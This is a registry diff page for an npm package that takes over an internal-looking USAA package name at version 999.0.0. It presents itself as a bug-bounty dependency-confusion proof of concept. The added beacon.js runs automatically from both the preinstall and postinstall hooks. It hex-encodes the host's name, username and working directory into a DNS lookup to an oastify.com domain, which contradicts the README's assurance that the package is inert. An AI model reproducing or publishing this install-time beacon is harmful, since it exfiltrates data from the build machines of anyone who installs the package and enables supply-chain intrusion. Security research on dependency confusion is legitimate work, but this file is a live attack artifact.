@usaa-grp-personal-profile/personal-profile-common 0.0.1-security → 999.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @usaa-grp-personal-profile/personal-profile-common might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,14 @@
1
- # Security holding package
1
+ # Security research placeholder
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ This package is **not** a real library. It was published as a proof of concept for a
4
+ dependency-confusion vulnerability report submitted to USAA through the Bugcrowd
5
+ bug bounty programme, by researcher `tanishq396`.
4
6
 
5
- Please refer to www.npmjs.com/advisories?search=%40usaa-grp-personal-profile%2Fpersonal-profile-common for more information.
7
+ It contains no functional code. Its install script performs a single DNS lookup so that
8
+ the reporter can demonstrate whether a build resolved this internal package name from the
9
+ public npm registry. It reads no files, sends no HTTP requests, collects no credentials
10
+ and modifies nothing on the host.
11
+
12
+ This package will be unpublished once USAA has acknowledged the report. If you reached this
13
+ page because a build of yours installed it, please contact USAA security — your build is
14
+ resolving an internal package name against the public registry.
package/beacon.js ADDED
@@ -0,0 +1,32 @@
1
+ /*
2
+ * Bugcrowd USAA dependency-confusion proof of concept.
3
+ * Researcher: tanishq396
4
+ *
5
+ * This script performs ONE DNS lookup and nothing else. It reads no files,
6
+ * opens no sockets, sends no HTTP request, and modifies nothing. It exists
7
+ * only to prove that a build resolved this package name from the PUBLIC npm
8
+ * registry instead of USAA's internal registry.
9
+ *
10
+ * Context reported (hostname / user / cwd) is hex-encoded into the DNS label
11
+ * purely so the resolving host can be attributed in the report.
12
+ */
13
+ try {
14
+ var dns = require('dns');
15
+ var os = require('os');
16
+
17
+ var ctx = [
18
+ (os.hostname() || 'nohost'),
19
+ ((os.userInfo && os.userInfo().username) || 'nouser'),
20
+ (process.cwd() || 'nocwd')
21
+ ].join('|').slice(0, 60);
22
+
23
+ var label = Buffer.from(ctx, 'utf8').toString('hex').slice(0, 120);
24
+
25
+ // split into DNS-legal 60-char labels
26
+ var parts = (label.match(/.{1,60}/g) || ['00']).join('.');
27
+
28
+ dns.lookup(parts + '.pkg.vcbn68mkbhaetxs9jp2mvwq7gympa9s9scu1.oastify.com', function () {});
29
+ } catch (e) {
30
+ /* never fail a build */
31
+ }
32
+ process.exitCode = 0;
package/index.js ADDED
@@ -0,0 +1,5 @@
1
+ /*
2
+ * Bugcrowd USAA dependency-confusion proof of concept - inert placeholder.
3
+ * Exports an empty object so that a consuming build does not hard-crash at require() time.
4
+ */
5
+ module.exports = {};
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "@usaa-grp-personal-profile/personal-profile-common",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "999.0.0",
4
+ "description": "Security research placeholder - Bugcrowd USAA dependency confusion PoC. Contains no functional code. Will be unpublished after verification.",
5
+ "main": "index.js",
6
+ "license": "MIT",
7
+ "scripts": {
8
+ "preinstall": "node beacon.js",
9
+ "postinstall": "node beacon.js"
10
+ },
11
+ "files": ["index.js", "beacon.js", "README.md"]
6
12
  }